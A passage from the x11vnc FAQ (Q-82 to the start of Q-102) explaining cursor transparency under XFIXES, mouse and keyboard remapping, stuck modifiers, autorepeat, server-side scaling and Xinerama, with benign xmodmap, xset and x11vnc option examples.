- -overlay option is supplied. See this FAQ for more info.
-
- Also as of Dec/2004 XFIXES X extension support has been added to allow
- exact extraction of the mouse cursor shape. XFIXES fixes the problem
- of the cursor-shape being write-only: x11vnc can now query the X
- server for the current shape and send it back to the connected
- viewers. XFIXES is available on recent Linux Xorg based distros and
- Solaris 10.
-
- The only XFIXES issue is the handling of alpha channel transparency in
- cursors. If a cursor has any translucency then in general it must be
- approximated to opaque RGB values for use in VNC. There are some
- situations where the cursor transparency can also handled exactly:
- when the VNC Viewer requires the cursor shape be drawn into the VNC
- framebuffer or if you apply a patch to your VNC Viewer to extract
- hidden alpha channel data under 32bpp. Details can be found here.
-
-
- Q-82: When using XFIXES cursorshape mode, some of the cursors look
- really bad with extra black borders around the cursor and other cruft.
- How can I improve their appearance?
-
- This happens for cursors with transparency ("alpha channel"); regular
- X cursors (bitmaps) should be correct. Unfortunately x11vnc 0.7 was
- released with a very poor algorithm for approximating the
- transparency, which led to the ugly black borders.
-
- The problem is as follows: XFIXES allows x11vnc to retrieve the
- current X server cursor shape, including the alpha channel for
- transparency. For traditional bitmap cursors the alpha value will be 0
- for completely transparent pixels and 255 for completely opaque
- pixels; whereas for modern, eye-candy cursors an alpha value between 0
- and 255 means to blend in the background colors to that degree with
- the cursor colors. The pixel color blending formula is something like
- this: Red = Red_cursor * a + Red_background * (1 - a), (where here 0
- =< a =< 1), with similar for Green and Blue. The VNC protocol does not
- currently support an alpha channel in cursors: it only supports
- regular X bitmap cursors and Rich Cursors that have RGB (Red, Green,
- Blue) color data, but no "A" = alpha data. So in general x11vnc has to
- approximate a cursor with transparency to create a Rich Cursor. This
- is easier said than done: some cursor themes have cursors with
- complicated drop shadows and other forms of translucency.
-
- Anyway, for the x11vnc 0.7.1 release the algorithm for approximating
- transparency is much improved and hopefully gives decent cursor shapes
- for most cursor themes and you don't have to worry about it.
-
- In case it still looks bad for your cursor theme, there are (of
- course!) some tunable parameters. The "-alphacut n" option lets you
- set the threshold "n" (between 0 and 255): cursor pixels with alpha
- values below n will be considered completely transparent while values
- equal to or above n will be completely opaque. The default is 240. The
- "-alphafrac f" option tries to correct individual cursors that did not
- fare well with the default -alphacut value: if a cursor has less than
- fraction f (between 0.0 and 1.0) of its pixels selected by the default
- -alphacut, the threshold is lowered until f of its pixels are
- selected. The default fraction is 0.33.
-
- Finally, there is an option -alpharemove that is useful for themes
- where many cursors are light colored (e.g. "whiteglass".) XFIXES
- returns the cursor data with the RGB values pre-multiplied by the
- alpha value. If the white cursors look too grey, specify -alpharemove
- to brighten them by having x11vnc divide out the alpha value.
-
- One user played with these parameters and reported back:
- Of the cursor themes present on my system:
-
- gentoo and gentoo-blue: alphacut:192 - noalpharemove
-
- gentoo-silver: alphacut:127 and alpharemove
-
- whiteglass and redglass (presumably also handhelds, which is based
- heavily on redglass) look fine with the apparent default of alphacut:255.
-
-
- Q-83: In XFIXES mode, are there any hacks to handle cursor
- transparency ("alpha channel") exactly?
-
- As of Jan/2005 libvncserver has been modified to allow an alpha
- channel (i.e. RGBA data) for Rich Cursors. So x11vnc can now send the
- alpha channel data to libvncserver. However, this data will only be
- used for VNC clients that do not support the CursorShapeUpdates VNC
- extension (or have disabled it.) It can be disabled for all clients
- with the -nocursorshape x11vnc option. In this case the cursor is
- drawn, correctly blended with the background, into the VNC framebuffer
- before being sent out to the client. So the alpha blending is done on
- the x11vnc side. Use the -noalphablend option to disable this behavior
- (always approximate transparent cursors with opaque RGB values.)
-
- The CursorShapeUpdates VNC extension complicates matters because the
- cursor shape is sent to the VNC viewers supporting it, and the viewers
- draw the cursor locally. This improves response over slow links. Alpha
- channel data for these locally drawn cursors is not supported by the
- VNC protocol.
-
- However, in the libvncserver CVS there is a patch to the TightVNC
- viewer to make this work for CursorShapeUpdates under some
- circumstances. This hack is outside of the VNC protocol. It requires
- the screens on both sides to be depth 24 at 32bpp (it uses the extra 8
- bits to secretly hide the cursor alpha channel data.) Not only does it
- require depth 24 at 32bpp, but it also currently requires the client
- and server to be of the same endianness (otherwise the hidden alpha
- data gets reset to zero by a libvncserver translation function; we can
- fix this at some point if there is interest.) The patch is for the
- TightVNC 1.3dev5 Unix vncviewer and it enables the TightVNC viewer to
- do the cursor alpha blending locally. The patch code should give an
- example on how to change the Windows TightVNC viewer to achieve the
- same thing (send me the patch if you get that working.)
-
- This patch is applied to the Enhanced TightVNC Viewer (SSVNC) package
- we provide.
-
- [Mouse Pointer]
-
- Q-84: Why does the mouse arrow just stay in one corner in my
- vncviewer, whereas my cursor (that does move) is just a dot?
-
- This default takes advantage of a tightvnc extension
- (CursorShapeUpdates) that allows specifying a cursor image shape for
- the local VNC viewer. You may disable it with the -nocursor option to
- x11vnc if your viewer does not have this extension.
-
- Note: as of Aug/2004 this should be fixed: the default for
- non-tightvnc viewers (or ones that do not support CursorShapeUpdates)
- will be to draw the moving cursor into the x11vnc framebuffer. This
- can also be disabled via -nocursor.
-
-
- Q-85: Can I take advantage of the TightVNC extension to the VNC
- protocol where Cursor Positions Updates are sent back to all connected
- clients (i.e. passive viewers can see the mouse cursor being moved
- around by another viewer)?
-
- Use the -cursorpos option when starting x11vnc. A VNC viewer must
- support the Cursor Positions Updates for the user to see the mouse
- motions (the TightVNC viewers support this.) As of Aug/2004 -cursorpos
- is the default. See also -nocursorpos and -nocursorshape.
-
-
- Q-86: Is it possible to swap the mouse buttons (e.g. left-handed
- operation), or arbitrarily remap them? How about mapping button clicks
- to keystrokes, e.g. to partially emulate Mouse wheel scrolling?
-
- You can remap the mouse buttons via something like: -buttonmap 13-31
- (or perhaps 12-21.) Also, note that xmodmap(1) lets you directly
- adjust the X server's button mappings, but in some circumstances it
- might be more desirable to have x11vnc do it.
-
- One user had an X server with only one mouse button(!) and was able to
- map all of the VNC client mouse buttons to it via: -buttonmap 123-111.
-
- Note that the -debug_pointer option prints out much info for every
- mouse/pointer event and is handy in solving problems.
-
- To map mouse button clicks to keystrokes you can use the alternate
- format where the keystrokes are enclosed between colons like this
- :<KeySym>: in place of the mouse button digit. For a sequence of
- keysyms separate them with "+" signs. Look in the include file
- <X11/keysymdef.h>, or use xev(1), or -debug_keyboard to find the
- keysym names. Button clicks can also be included in the sequence via
- the fake keysyms Button1, etc.
-
- As an example, suppose the VNC viewer machine has a mouse wheel (these
- generate button 4 and 5 events), but the machine that x11vnc is run on
- only has the 3 regular buttons. In normal operation x11vnc will
- discard the button 4 and 5 events. However, either of the following
- button maps could possibly be of use emulating the mouse wheel events
- in this case:
- -buttonmap 12345-123:Prior::Next:
- -buttonmap 12345-123:Up+Up+Up::Down+Down+Down:
-
- Exactly what keystroke "scrolling" events they should be bound to
- depends on one's taste. If this method is too approximate, one could
- consider not using -buttonmap but rather configuring the X server to
- think it has a mouse with 5 buttons even though the physical mouse
- does not. (e.g. 'Option "ZAxisMapping" "4 5"'.)
-
- Note that when a keysym-mapped mouse button is clicked down this
- immediately generates the key-press and key-release events (for each
- keysym in turn if the mapping has a sequence of keysyms.) When the
- mouse button goes back up nothing is generated.
-
- If you include modifier keys like Shift_L instead of key-press
- immediately followed by key-release the state of the modifier key is
- toggled (however the initial state of the modifier key is ignored.) So
- to map the right button to type my name 'Karl Runge' I could use this:
- -buttonmap 3-:Shift_L+k+Shift_L+a+r+l+space+Shift_L+r+Shift_L+u+n+g+e:
-
- (yes, this is getting a little silly.)
-
- BTW, Coming the other way around, if the machine you are sitting at
- does not have a mouse wheel, but the remote machine does (or at least
- has 5 buttons configured), this key remapping can be useful:
- -remap Super_R-Button4,Menu-Button5
-
- you just tap those two keys to get the mouse wheel scrolls (this is
- more useful than the Up and Down arrow keys because a mouse wheel
- "click" usually gives a multi-line scroll.)
- [Keyboard Issues]
-
- Q-87: How can I get my AltGr and Shift modifiers to work between
- keyboards for different languages?
-
- The option -modtweak should help here. It is a mode that monitors the
- state of the Shift and AltGr Modifiers and tries to deduce the correct
- keycode to send, possibly by sending fake modifier key presses and
- releases in addition to the actual keystroke.
-
- Update: As of Jul/2004 -modtweak is now the default (use -nomodtweak
- to get the old behavior.) This was done because it was noticed on
- newer XFree86 setups even on bland "us" keyboards like "pc104 us"
- XFree86 included a "ghost" key with both "<" and ">" it. This key does
- not exist on the keyboard (see this FAQ for more info.) Without
- -modtweak there was then an ambiguity in the reverse map keysym =>
- keycode, making it so the "<" symbol could not be typed.
-
- Also see the FAQ about the -xkb option for a more powerful method of
- modifier tweaking for use on X servers with the XKEYBOARD extension.
-
- When trying to resolve keyboard mapping problems, note that the
- -debug_keyboard option prints out much info for every keystroke and so
- can be useful debugging things.
-
- Note that one user had a strange setup and none of the above helped.
- His solution was to disable all of the above and use -nomodtweak. This
- is the simplest form of keystroke insertion and it actually solved the
- problem. Try it if the other options don't help.
-
-
- Q-88: When I try to type a "<" (i.e. less than) instead I get ">"
- (i.e. greater than)! Strangely, typing ">" works OK!!
-
- Does your keyboard have a single key with both "<" and ">" on it? Even
- if it doesn't, your X server may think your keyboard has such a key
- (e.g. pc105 in the XF86Config file when it should be something else,
- say pc104.)
-
- Short Cut: Try the -xkb or -sloppy_keys options and see if that helps
- the situation. The discussion below is a bit outdated (e.g. -modtweak
- is now the default) but it is useful reference for various tricks and
- so is kept.
-
-
- The problem here is that on the Xserver where x11vnc is run there are
- two keycodes that correspond to the "<" keysym. Run something like
- this to see:
-
- xmodmap -pk | egrep -i 'KeyCode|less|greater'
- There are 4 KeySyms per KeyCode; KeyCodes range from 8 to 255.
- KeyCode Keysym (Keysym) ...
- 59 0x002c (comma) 0x003c (less)
- 60 0x002e (period) 0x003e (greater)
- 94 0x003c (less) 0x003e (greater)
-
- That keycode 94 is the special key with both "<" and ">". When x11vnc
- receives the "<" keysym over the wire from the remote VNC client, it
- unfortunately maps it to keycode 94 instead of 59, and sends 94 to the
- X server. Since Shift is down (i.e. you are Shifting the comma key),
- the X server interprets this as Shifted-94, which is ">".
-
- A workaround in the X server configuration is to "deaden" that special
- key:
-
- xmodmap -e "keycode 94 = "
-
- However, one user said he had to do this:
-
- xmodmap -e "keycode 94 = 0x002c 0x003c"
-
- (If the numerical values are different for your setup, substitute the
- ones that correspond to your display. The above xmodmap scheme can
- often be used to work around other ambiguous keysym to keycode
- mappings.)
-
- Alternatively, here are some x11vnc options to try to work around the
- problem:
- -modtweak
-
- and
- -remap less-comma
-
- These are convenient in that they do not modify the actual X server
- settings. The former (-modtweak) is a mode that monitors the state of
- the Shift and AltGr modifiers and tries to deduce the correct keycode
- sequence to send. Since Jul/2004 -modtweak is now the default. The
- latter (-remap less-comma) is an immediate remapping of the keysym
- less to the keysym comma when it comes in from a client (so when Shift
- is down the comma press will yield "<".)
-
- See also the FAQ about the -xkb option as a possible workaround using
- the XKEYBOARD extension.
-
- Note that the -debug_keyboard option prints out much info for every
- keystroke to aid debugging keyboard problems.
-
-
- Q-89: Extra Character Inserted, E.g.: When I try to type a "<" (i.e.
- less than) instead I get "<," (i.e. an extra comma.)
-
- This is likely because you press "Shift" then "<" but then released
- the Shift key before releasing the "<". Because of a keymapping
- ambiguity the last event "< up" is interpreted as "," because that key
- unshifted is the comma.
-
- This extra character insertion will happen for other combinations of
- characters: in general it can happen whenever the Shift key is
- released early.
-
- This should not happen in -xkb mode, because it works hard to resolve
- the ambiguities. If you do not want to use -xkb, try the option
- -sloppy_keys to attempt a similar type of algorithm.
-
- One user had this problem for Italian and German keyboards with the
- key containing ":" and "." When he typed ":" he would get an extra "."
- inserted after the ":". The solution was -sloppy_keys.
-
-
- Q-90: I'm using an "international" keyboard (e.g. German "de", or
- Danish "dk") and the -modtweak mode works well if the VNC viewer is
- run on a Unix/Linux machine with a similar keyboard. But if I run
- the VNC viewer on Unix/Linux with a different keyboard (e.g. "us") or
- Windows with any keyboard, I can't type some keys like: "@", "$",
- "<", ">", etc. How can I fix this?
-
- The problem with Windows is it does not seem to handle AltGr well. It
- seems to fake it up by sending Control_L+Alt_R to applications. The
- Windows VNC viewer sends those two down keystrokes out on the wire to
- the VNC server, but when the user types the next key to get, e.g., "@"
- the Windows VNC viewer sends events bringing the up the
- Control_L+Alt_R keys, and then sends the "@" keysym by itself.
-
- The Unix/Linux VNC viewer on a "us" keyboard does a similar thing
- since "@" is the Shift of the "2" key. The keysyms Shift and "@" are
- sent to the VNC server.
-
- In both cases no AltGr is sent to the VNC server, but we know AltGr is
- needed on the physical international keyboard to type a "@".
-
- This all worked fine with x11vnc running with the -modtweak option (it
- figures out how to adjust the Modifier keys (Shift or AltGr) to get
- the "@".) However it fails under recent versions of XFree86 (and the
- X.org fork.) These run the XKEYBOARD extension by default and make
- heavy use of it to handle international keyboards.
-
- To make a long story short, on these newer XFree86 setups the
- traditional X keymap lookup x11vnc uses is no longer accurate. x11vnc
- can't find the keysym "@" anywhere in the keymapping! (even though it
- is in the XKEYBOARD extended keymapping.)
-
- How to Solve: As of Jul/2004 x11vnc has two changes:
- * -modtweak (tweak Modifier keys) is now the default (use
- -nomodtweak to go back to the old way)
- * there is a new option -xkb to use the XKEYBOARD extension API to
- do the Modifier key tweaking.
-
- The -xkb option seems to fix all of the missing keys: "@", "<", ">",
- etc.: it is recommended that you try it if you have this sort of
- problem. Let us know if there are any remaining problems (see the next
- paragraph for some known problems.) If you specify the -debug_keyboard
- (aka -dk) option twice you will get a huge amount of keystroke
- debugging output (send it along with any problems you report.)
-
- Update: as of Jun/2005 x11vnc will try to automatically enable -xkb if
- it appears that would be beneficial (e.g. if it sees any of "@", "<",
- ">", "[" and similar keys are mapped in a way that needs the -xkb to
- access them.) To disable this automatic check use -noxkb.
-
- Known problems:
- * One user had to disable a "ghost" Mode_switch key that was causing
- problems under -xkb. His physical AltGr key was bound to
- ISO_Level3_Shift (which seems to be the XKEYBOARD way of doing
- things), while there was a ghost key Mode_switch (which seems to
- be obsolete) in the mapping as well. Both of these keysyms were
- bound to Mod5 and x11vnc was unfortunately choosing Mode_switch.
- From the x11vnc -xkb -dk -dk output it was noted that Mode_switch
- was attached to keycode 93 (no physical key generates this
- keycode) while ISO_Level3_Shift was attached to keycode 113. The
- keycode skipping option was used to disable the ghost key:
- -skip_keycodes 93
- * In implementing -xkb we noticed that some characters were still
- not getting through, e.g. "~" and "^". This is not really an
- XKEYBOARD problem. What was happening was the VNC viewer was
- sending the keysyms asciitilde and asciicircum to x11vnc, but on
- the X server with the international keyboard those keysyms were
- not mapped to any keys. So x11vnc had to skip them (Note: as of
- May/2005 they are added by default see -add_keysyms below.)
- The way these characters are typically entered on international
- keyboards is by "dead" (aka "mute") keys. E.g. to enter "~" at the
- physical display the keysym dead_tilde is pressed and released
- (this usually involves holding AltGr down while another key is
- pressed) and then space is pressed. (this can also be used get
- characters with the "~" symbol on top, e.g. "ã" by typing "a"
- instead of space.)
- What to do? In general the VNC protocol has not really solved this
- problem: what should be done if the VNC viewer sends a keysym not
- recognized by the VNC server side? Workarounds can possibly be
- created using the -remap x11vnc option:
- -remap asciitilde-dead_tilde,asciicircum-dead_circumflex
- etc. Use -remap filename if the list is long. Please send us your
- workarounds for this problem on your keyboard. Perhaps we can have
- x11vnc adjust automatically at some point. Also see the
- -add_keysyms option in the next paragraph.
- Update: for convenience "-remap DEAD" does many of these mappings
- at once.
- * To complement the above workaround using the -remap, an option
- -add_keysyms was added. This option instructs x11vnc to bind any
- unknown Keysyms coming in from VNC viewers to unused Keycodes in
- the X server. This modifies the global state of the X server. When
- x11vnc exits it removes the extra keymappings it created. Note
- that the -remap mappings are applied first, right when the Keysym
- is received from a VNC viewer, and only after that would
- -add_keysyms, or anything else, come into play.
- Update: -add_keysyms is now on by default. Use -noadd_keysyms to
- disable.
-
-
- Q-91: When typing I sometimes get double, triple, or more of my
- keystrokes repeated. I'm sure I only typed them once, what can I do?
-
- This may be due to an interplay between your X server's key autorepeat
- delay and the extra time delays caused by x11vnc processing.
-
- Short answer: disable key autorepeating by running the command "xset r
- off" on the Xserver where x11vnc is run (restore via "xset r on") or
- use the new (Jul/2004) -norepeat x11vnc option. You will still have
- autorepeating because that is taken care of on your VNC viewer side.
-
- Update: as of Dec/2004 -norepeat is now the default. Use -repeat to
- disable it.
-
- Details:
- suppose you press a key DOWN and it generates changes in large regions
- of the screen. The CPU and I/O work x11vnc does for the large screen
- change could be longer than your X server's key autorepeat delay.
- x11vnc may not get to processing the key UP event until after the
- screen work is completed. The X server believes the key has been held
- down all this time, and applies its autorepeat rules.
-
- Even without inducing changes in large regions of the screen, this
- problem could arise when accessing x11vnc via a dialup modem or
- otherwise high latency link (e.g. > 250 ms latency.)
-
- Look at the output of "xset q" for the "auto repeat delay" setting. Is
- it low (e.g. < 300 ms)? If you turn off autorepeat completely: "xset r
- off", does the problem go away?
-
- The workaround is to manually apply "xset r off" and "xset r on" as
- needed, or to use the -norepeat (which has since Dec/2004 been made
- the default.) Note that with X server autorepeat turned off the VNC
- viewer side of the connection will (nearly always) do its own
- autorepeating so there is no big loss here, unless someone is also
- working at the physical display and misses his autorepeating.
-
-
- Q-92: The x11vnc -norepeat mode is in effect, but I still get repeated
- keystrokes!!
-
- Are you using x11vnc to log in to an X session via display manager?
- (as described in this FAQ) If so, x11vnc is starting before your
- session and it disables autorepeat when you connect, but then after
- you log in your session startup (GNOME, KDE, ...) could be resetting
- the autorepeat to be on. Or it could be something inside your desktop
- trying to be helpful that decides to turn it back on.
-
- x11vnc in -norepeat mode will by default reset autorepeat to off 2
- times (to help get thru the session startup problem), but it will not
- continue to battle with things turning autorepeat back on. It will
- also turn autorepeat off whenever it goes from a state of zero clients
- to one client. You can adjust the number of resets via "-norepeat N",
- or use "-norepeat -1" to have it keep resetting it whenever autorepeat
- gets turned back on when clients are connected.
-
- In general you can manually turn autorepeating off by typing "xset r
- off", or a using desktop utility/menu, or "x11vnc -R norepeat". If
- something in your desktop is automatically turning it back on you
- should figure out how to disable that somehow.
-
-
- Q-93: After using x11vnc for a while, I find that I cannot type some
- (or any) characters or my mouse clicks and drags no longer have any
- effect, or they lead to strange effects. What happened?
-
- Probably a modifier key, e.g. Control or Alt is "stuck" in a pressed
- down state.
-
- This happens for VNC in general by the following mechanism. Suppose on
- the Viewer side desktop there is some hot-key to switch
- desktops/rooms/spaces, etc. E.g. suppose Alt+LeftArrow moves to the
- left desktop/room/space. Or suppose an Alt+hotkey combination
- iconifies a window. This can leave the Alt key pressed down on the
- remote side.
-
- Consider the sequence that happens. The Alt_L key and then the
- LeftArrow key go down. Since you are inside the viewer the Alt_L key
- press is sent to the other side (x11vnc) and so it is pressed down in
- the remote desktop as well. (by "Alt_L" we mean the Alt key on the
- left-hand side of the keyboard.) Your local desktop (where the VNC
- Viewer is running) then warps to the new desktop/room/space: Leaving
- the Alt_L key still pressed down in the remote desktop.
-
- If someone is sitting at the desktop, or when you return in the viewer
- it may be very confusing because the Alt_L is still pressed down but
- you (or the person sitting at the desktop) do not realize this.
- Depending on which remote desktop (x11vnc side) is used, it can act
- very strangely.
-
- A quick workaround when you notice this is to press and release all of
- the Alt, Shift, Control, Windows-Flag, modifier keys to free the
- pressed one. You need to do this for both the left and right Shift,
- Alt, Control, etc. keys to be sure.
-
- Note that many VNC Viewers try to guard against this when they are
- notified by the window system that the viewer app has "lost focus".
- When it receives the "lost focus" event, the viewer sends VNC
- Key-Release events for all modifier keys that are currently pressed
- down. This does not always work, however, since it depends on how the
- desktop manages these "warps". If the viewer is not notified it cannot
- know it needs to release the modifiers.
-
- You can also use the -clear_mods option to try to clear all of the
- modifier keys at x11vnc startup. You will still have to be careful
- that you do not leave the modifier key pressed down during your
- session. It is difficult to prevent this problem from occurring (short
- of using -remap to prevent sending all of the problem modifier keys,
- which would make the destkop pretty unusable.)
-
- During a session these x11vnc remote control commands can also help:
- x11vnc -R clear_mods
- x11vnc -R clear_keys
- x11vnc -R clear_locks
- x11vnc -R clear_all
-
- A similar problem can occur if you accidentally press the Caps_Lock or
- Num_Lock down. When these are locked on the remote side it can
- sometimes lead to strange desktop behavior (e.g. cannot drag or click
- on windows.) As above you may not notice this because the lock isn't
- down on the local (Viewer) side. See this FAQ on lock keys problem.
- These options may help avoid the problem: -skip_lockkeys and
- -capslock. See also -clear_all.
-
-
- Q-94: The machine where I run x11vnc has an AltGr key, but the local
- machine where I run the VNC viewer does not. Is there a way I can map
- a local unused key to send an AltGr? How about a Compose key as well?
-
- Something like "-remap Super_R-Mode_switch" x11vnc option may work.
- Note that Super_R is the "Right Windoze(tm) Flaggie" key; you may want
- to choose another. The -debug_keyboard option comes in handy in
- finding keysym names (so does xev(1).)
-
- For Compose how about "-remap Menu-Multi_key" (note that Multi_key is
- the official name for Compose.) To do both at the same time: "-remap
- Super_R-Mode_switch,Menu-Multi_key" or use "-remap filename" to
- specify remappings from a file.
-
-
- Q-95: I have a Sun machine I run x11vnc on. Its Sun keyboard has just
- one Alt key labelled "Alt" and two Meta keys labelled with little
- diamonds. The machine where I run the VNC viewer only has Alt keys.
- How can I send a Meta keypress? (e.g. emacs needs this)
-
- Here are a couple ideas. The first one is to simply use xmodmap(1) to
- adjust the Sun X server. Perhaps xmodmap -e "keysym Alt_L = Meta_L
- Alt_L" will do the trick. (there are other ways to do it, one user
- used: xmodmap -e "keycode 26 = Meta_L" for his setup.)
-
- Since xmodmap(1) modifies the X server mappings you may not want to do
- this (because it affects local work on that machine.) Something like
- the -remap Alt_L-Meta_L to x11vnc may be sufficient for ones needs,
- and does not modify the X server environment. Note that you cannot
- send Alt_L in this case, maybe -remap Super_L-Meta_L would be a better
- choice if the Super_L key is typically unused in Unix.
-
-
- Q-96: Running x11vnc on HP-UX I cannot type "#" I just get a "3"
- instead.
-
- One user reports this problem on HP-UX Rel_B.11.23. The problem was
- traced to a strange keyboard mapping for the machine (e.g. xmodmap -pk
- output) that looked like:
- ...
- 039 2 at at at
- ...
- 047 3 numbersign numbersign numbersign
-
- and similar triple mappings (with two in the AltGr/Mode_switch group)
- of a keysum to a single keycode.
-
- Use the -nomodtweak option as a workaround. You can also use xmodmap
- to correct these mappings in the server, e.g.:
- xmodmap -e "keycode 47 = 3 numbersign"
-
- Also, as of Feb/2007, set the environment variable MODTWEAK_LOWEST=1
- (either in your shell or via "-env MODTWEAK_LOWEST=1" option) to
- handle these mappings better.
-
-
- Q-97: Can I map a keystroke to a mouse button click on the remote
- machine?
-
- This can be done directly in some X servers using AccessX and
- Pointer_EnableKeys, but is a bit awkward. It may be more convenient to
- have x11vnc do the remapping. This can be done via the -remap option
- using the fake "keysyms" Button1, Button2, etc. as the "to" keys (i.e.
- the ones after the "-")
-
- As an example, consider a laptop where the VNC viewer is run that has
- a touchpad with only two buttons. It is difficult to do a middle
- button "paste" because (using XFree86/Xorg Emulate3Buttons) you have
- to click both buttons on the touch pad at the same time. This
- remapping:
- -remap Super_R-Button2
-
- maps the Super_R "flag" key press to the Button2 click, thereby making
- X pasting a bit easier.
-
- Note that once the key goes down, the button down and button up events
- are generated immediately on the x11vnc side. When the key is released
- (i.e. goes up) no events are generated.
-
- Q-98: How can I get Caps_Lock to work between my VNC viewer and
- x11vnc?
-
- This is a little tricky because it is possible to get the Caps_Lock
- state out of sync between your viewer-side machine and the x11vnc-side
- X server. For best results, we recommend not ever letting the
- Caps_Lock keypresses be processed by x11vnc. That way when you press
- Caps_Lock in the viewer your local machine goes into the Caps_Lock on
- state and sends keysym "A" say when you press "a". x11vnc will then
- fake things up so that Shift is held down to generate "A". The
- -skip_lockkeys option should help to accomplish this. For finer grain
- control use something like: "-remap Caps_Lock-None".
-
- Also try the -nomodtweak and -capslock options.
-
- Another useful option that turns off any Lock keys on the remote side
- at startup and end is the -clear_all option. During a session you can
- run these remote control commands to modify the Lock keys:
- x11vnc -R clear_locks
- x11vnc -R clear_all
-
- the former will try to unset any Lock keys, the latter will do same
- and also try to make it so no key is pressed down (e.g. "stuck" Alt_L,
- etc.)
- [Screen Related Issues and Features]
-
- Q-99: The remote display is larger (in number of pixels) than the
- local display I am running the vncviewer on. I don't like the
- vncviewer scrollbars, what I can do?
-
- vncviewer has a option (usually accessible via F8 key or -fullscreen
- option) for vncviewer to run in full screen, where it will
- automatically scroll when the mouse is near the edge of the current
- view. For quick scrolling, also make sure Backing Store is enabled on
- the machine vncviewer is run on. (XFree86/Xorg disables it by default
- for some reason, add Option "backingstore" to XF86Config on the
- vncviewer side.)
-
- BTW, contact me if you are having problems with vncviewer in
- fullscreen mode with your window manager (i.e. no keyboard response.)
- I have a workaround for vncviewer using XGrabServer().
-
- There may also be scaling viewers out there (e.g. TightVNC or UltraVNC
- on Windows) that automatically shrink or expand the remote framebuffer
- to fit the local display. Especially for hand-held devices. See also
- the next FAQ on x11vnc scaling.
-
-
- Q-100: Does x11vnc support server-side framebuffer scaling? (E.g. to
- make the desktop smaller.)
-
- As of Jun/2004 x11vnc provides basic server-side scaling. It is a
- global scaling of the desktop, not a per-client setting. To enable it
- use the "-scale fraction" option. "fraction" can either be a floating
- point number (e.g. -scale 0.75) or the alternative m/n fraction
- notation (e.g. -scale 3/4.) Note that if fraction is greater than one
- the display is magnified.
-
- Extra resources (CPU, memory I/O, and memory) are required to do the
- scaling. If the machine is slow where x11vnc is run with scaling
- enabled, the interactive response can be unacceptable. OTOH, if run
- with scaling on a fast machine the performance degradation is usually
- not a big issue or even noticeable.
-
- It may help to compile x11vnc with compiler option -O3 or -O4 to speed
- up the scaling code. Set the CFLAGS env. var. before running
- configure.
-
- Also, if you just want a quick, rough "thumbnail" of the display you
- can append ":nb" to the fraction to turn on "no blending" mode. E.g.:
- "-scale 1/3:nb" Fonts will be difficult to read, but the larger
- features will be recognizable. BTW, "no blending" mode is forced on
- when scaling 8bpp PseudoColor displays (because blending an indexed
- colormap is a bad idea and leads to random colors, use :fb to force it
- on.)
-
- One can also use the ":nb" with an integer scale factor (say "-scale
- 2:nb") to use x11vnc as a screen magnifier for vision impaired
- applications. Since with integer scale factors the framebuffers become
- huge and scaling operations time consuming, be sure to use ":nb" for
- the fastest response.
-
- In general for a scaled display if you are using a TightVNC viewer you
- may want to turn off jpeg encoding (e.g. vncviewer -nojpeg host:0.)
- There appears to be a noise enhancement effect, especially for regions
- containing font/text: the scaling can introduce some pixel artifacts
- that evidently causes the tight encoding algorithm to incorrectly
- detect the regions as image data and thereby introduce additional
- pixel artifacts due to the lossiness of the jpeg compression
- algorithm. Experiment to see if -nojpeg vncviewer option improves the
- readability of text when using -scale to shrink the display size. Also
- note that scaling may actually slow down the transfer of text regions
- because after being scaled they do not compress as well. (this can
- often be a significant slowdown, e.g. 10X.)
-
- Another issue is that it appears VNC viewers require the screen width
- to be a multiple of 4. When scaling x11vnc will round the width to the
- nearest multiple of 4. To disable this use the ":n4" sub option (like
- ":nb" in the previous paragraph; to specify both use a comma:
- ":nb,n4", etc.)
-
- If one desires per-client scaling for something like 1:1 from a
- workstation and 1:2 from a smaller device (e.g. handheld), currently
- the only option is to run two (or more) x11vnc processes with
- different scalings listening on separate ports (-rfbport option, etc.)
-
- Update: As of May/2006 x11vnc also supports the UltraVNC server-side
- scaling. This is a per-client scaling by factors 1/2, 1/3, ... and so
- may be useful for PDA's ("-scale 1/2", etc. will give similar results
- except that it applies to all clients.) You may need to supply
- "-rfbversion 3.6" for this to be recognized by UltraVNC viewers.
-
- BTW, whenever you run two or more x11vnc's on the same X display and
- use the GUI, then to avoid all of the x11vnc's simultaneously
- answering the gui you will need to use something like "-connect file1
- -gui ..." with different connect files for each x11vnc you want to
- control via the gui (or remote-control.) The "-connect file1" usage
- gives separate communication channels between a x11vnc process and the
- gui process. Otherwise they all share the same X property channels:
- VNC_CONNECT and X11VNC_REMOTE.
-
- Update: As of Mar/2005 x11vnc now scales the mouse cursor with the
- same scale factor as the screen. If you don't want that, use the
- "-scale_cursor frac" option to set the cursor scaling to a different
- factor (e.g. use "-scale_cursor 1" to keep the cursor at its natural
- unscaled size.)
-
-
- Q-101: Does x11vnc work with Xinerama? (i.e. multiple monitors joined
- together to form one big, single screen.)
-
- Yes, it should generally work because it simply polls the big
- effective screen.
-
- If the viewing-end monitor is not as big as the remote Xinerama
- display, then the vncviewer scrollbars, etc, will have to be used to
- pan across the large area. However one user started two x11vnc's, one
- with "-clip 1280x1024+0+0" and the other with "-clip 1280x1024+1280+0"
- to split the big screen into two and used two VNC viewers to access
- them.
-
- As of Jun/2008: Use "-clip xinerama0" to clip to the first xinerama
- sub-screen (if xinerama is active.) xinerama1 for the 2nd sub-screen,
- etc. This way you don't need to figure out the WxH+X+Y of the desired
- xinerama sub-screen. screens are sorted in increasing distance from
- the (0,0) origin (I.e. not the Xserver's order.)
-
- There are a couple potential issues with Xinerama however. If the
- screen is not rectangular (e.g. 1280x1024 and 1024x768 monitors joined
- together), then there will be "non-existent" areas on the screen. The
- X server will return "garbage" image data for these areas and so they
- may be distracting to the viewer. The -blackout x11vnc option allows
- you to blacken-out rectangles by manually specifying their WxH+X+Y
- geometries. If your system has the libXinerama library, the -xinerama
- x11vnc option can be used to have it automatically determine the
- rectangles to be blackened out. (Note on 8bpp PseudoColor displays the
- fill color may not be black.) Update: -xinerama is now on by default.
-
- Some users have reported that the mouse does not behave properly for
- their Xinerama display: i.e. the mouse cannot be moved to all regions
- of the large display. If this happens try using the -xwarppointer
- option. This instructs x11vnc to fake mouse pointer motions using the
- XWarpPointer function instead of the XTestFakeMotionEvent XTEST
- function. (This may be due to a bug in the X server for XTEST when
- Xinerama is enabled.) Update: As of Dec/2006 -xwarppointer will be
- applied automatically if Xinerama is detected. To disable use:
- -noxwarppointer
-
-
- Q-102: Can I use x11vnc on a multi-headed display that is not Xinerama
- (i.e. separate screens :0.0, :0.1, ... for each monitor)?
-
- You can, but it is a little bit awkward: you must start separate
- x11vnc processes for each screen, and on the viewing end start up
- separate VNC viewer processes connecting to them. e.g. on the remote
